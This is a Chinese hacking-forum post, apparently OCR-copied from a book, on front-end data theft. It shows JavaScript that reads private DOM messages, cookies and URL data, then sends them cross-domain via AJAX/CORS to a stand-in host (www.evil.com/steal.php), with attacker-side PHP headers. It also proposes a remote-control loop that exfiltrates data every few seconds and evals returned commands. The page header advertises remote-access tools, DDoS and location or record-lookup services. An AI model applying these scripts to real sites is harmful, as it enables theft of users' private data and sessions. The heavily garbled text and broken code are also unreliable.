注册忘记密码

黑客论坛,黑客工具,黑客教程,QQ技术,黑客基地,黑客网络,黑客软件,黑客联盟,免杀,远控,ddos,cc,黑客攻防,黑客编程,黑客定位,手机定位,微信定位,hack,黑客网站,查开房,定位,信息查询

查看: 13763|回复: 0

[其它技术文章] 获取HTML内容中的隐私数据

[复制链接]
   0 UID
   0帖子
   0精华
21
   0威望
500
   0金币
45816
   0贡献
5000
   0阅读权限
   200
   积分
   0
   在线时间
   600 小时
   最后登录
   2020-6-6
发表于 2019-5-8 21:19:41 | 显示全部楼层 |阅读模式
要获取的隐私数据是用户的私信内容,内容在DOM的位置如下chtml>/head>
<div id"private msg">
隐私数据在这
</div
</body>
C/html
在这个DOM树中,i= private msg的标签节点包含了用户的私信内容,通过lac可以非常简单地获取:
document. getElementById('private msg).innerHTML;
cument对象代表整个DOM, getElement Byld函数可以获取指定过d号的标签对象这些标签对象都有一个属性 innerHTML,表示标签对象内的HML数据内容。如果没这个id号怎么办?是稍微麻烦点,可还是非常简单,可假设包含隐私数据的div标签是DOM树从上到下的第3个。那么可以用下列语句获取:
document getElementsByTagName('div)[2].innerHTML
这时用到的函数是 getElements By Tag Name,接收的参数就是标签名,返回一个数组,数组下标从0开始,于是第3个表示为[(2]
方法有很多,大家可以自己思考
2.获取浏览器的 Cookies数据
Cookies中保存了用户的会话信息,通过 document. cookie可以获取到,不过并不是所有的 Cookies都可以获取,具体内容在254节详细介绍
3.获取URL地址中的数据
从 window location或 ation处可以获取URL地址中的数据
除了获取数据,还有通过DOM操作生成新的DOM对象或移除DOM对象。这些都非常有用,在此推荐查阅 JavaScript DOM编程艺术》一书以了解更多的内容2.5.2AJAX风险
AJAX简直就是前端黑客攻击中必用的技术模式,全称为 Asynchronous JavaScript AndXML,即异步的 JavaScript与XML,这里有三个点:异步、 JavaScript、XML
异步和同步对应,异步可以理解为单独开启了一个线程,独立于浏览器主线程去做自己的事,这样浏览器就不会等待(阻塞),这个异步在后台悄悄进行,所以利用AJAX的攻击显得很诡异,无声无息。AAX本身就是由 JavaScript构成的,只是XML并不是必需的,XML在这里是想指数据传输格式是XML,比如,AAX发出去的HTTP请求,响应回的数据是XML格式,然后 JavaScript去解析这个 XML DOM树得到相应节点的内容。其实响应回的数据格式还可以是SON(已经是主流)、文本、HIML等。AJAX中特别提到XML是因为历史原因
AJAX的核心对象是 XmlhTtprequEst(一般简称为xhr),不过正IE7之前的浏览器不支
持xhr对象,面是通过 Active OBject来实现的,看下面的xhr实例化:
if(window. XmlhTtprEqusT)fpera, safarxmlhttpnewXmlHttPreQust()7//ie7+,Firefox
httpenewActivexobject实例化后就是设置好回调,然后发送HTP请求需要的头部与参数键值,待响应成后会触发该回调,回调函数就可以处理响应回来的数据了这里需要注意,不是任何请求头都可以通过 JavaScript进行设置的,否则前端的逻辑世界就乱了,w3C给出了一份头部
Accept
Access-Control-Request-Header
Access-Control-Request-Method
Connection
Content-Length
Cookie
Content-Transfer-EncodingTransf
User-Agent这个黑名单曾经是不完备的,也有一些技巧导致黑名单被绕过,导致可以任意提交Referer User-Agent Cookie等头部值,随着时间的推移,黑名单总是有自己的风险
响应回的数据也包括头部与体部,通过 getResponseHeader函数可以获得指定的响应头,除了 Set-Cookie/ Set-Coo0e2(其中可能就有设置了 Httponly标志的 Cook,这是严禁客户端脚本读取的)等。更方便的是可以通过 getAllResponseHeaders获取所有合法的
AUAX是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另
个域。不过有一种情况,可以发送数据到另一个域,W3C的新标准中,CORs( Cross-OnginResource Sharing)开始推进浏览器支持这样的跨域方案,现在的测览器都支持这个方案了过程如下
www.foo.com(来源域)的AAX向wwwevilcom(目标域)发起了请求,浏览器会给自动带上 Origin头,如下:
Originthttp://ww.too.com
然后目标域要判断这个 Origin值,如果是自己预期的,那么就返回
ess-control-allOw-origin:http://www.foo.com表示同意跨域。如果 Access-Control-Allow-Onigin之后是通配符,则表示任意域都可以往目标跨。如果目标域不这样做,浏览器获得响应后没发现 Access-ControI-Allow-Origin头的存在,就会报类似下面这样的权限错误
MlhttprEqueStcannotloadhttp://www.evi.
originhttp
alowed by Acce
ontrol-Allow-origan
IE下不使用 XmlhTtpreqUest对象,而是自己的 XDomainRequst对象,实例化后,使用方式与 XmlhTtpreqUest基本一致,如下代码能让我们的CORs方案兼容
<script>
ction createcoRSRequest (method, url)(
varxhrnewxlhttpreqUest()
if (ithcredentials" in xhr)
BE
url, true)
y else i: (typo: xDomainRequest !-"undefined")
xh= new xOma1 rEquest();//IE浏览器
xhr. open (method, url
return xhr:
varrequestcreatecorsrequest("get",http://Www.evil.com/steal.php?
data=456°)
if (request)I
request. onoad. function()(//请求成功后
alert( request, responseText);//弹出响应的数据request,send();//发送请求
</script
上述代码存放在www.foo.com域上,跨域往目标域发起请求,目标域steal.php的代码
header("Access-control-Allow-Origin: ht
根据上面这些简陋的代玛,我们可以丰富一下,想想适合怎样的攻击场景?有个实时远控的场景,我们可以将源头域上的隐私数据(每3秽)跨域提交到目标域上,并获取目标域响应的内容,这样的内容可以动态生成,也可以是 JavaScript指令,然后在源头城上被cval等方式动态执行。更多的内容可查看第7章相关章节
如果目标域不设置Access-Control-Allow-Origin:http://www.foo.com,那么隐私数据可以被偷到吗?答案是肯定的。虽然浏览器会报权限错误的问题,但实际上隐私数据已经被目标域的 steal. php接收到了
默认情况下,这样的跨域无法带上目标域的会话( Cookies等),这时需要设置xhr实例的 withCredentials属性为true(IE还不支持),若不希望浏览器报权限错误,目标域的steal. php必须设置如下
?phpheader("access-control-allow-origiN:http://header(" Access- control-A1low- Credentials:true");//允许跨域证书发送有一点需要注意,如果设置了 Access-Control- Allow-Credentials为true,那Access-Control- Allow-Origin就不能设置为*通配符,这也是浏览器为了安全进行的考虑
有了CORS机制,跨域就变得特别方便了,该功能要慎重使用,否则后果会很严重

发表回复

您需要登录后才可以回帖 登录 | 注册会员

本版积分规则


快速回复 返回顶部 返回列表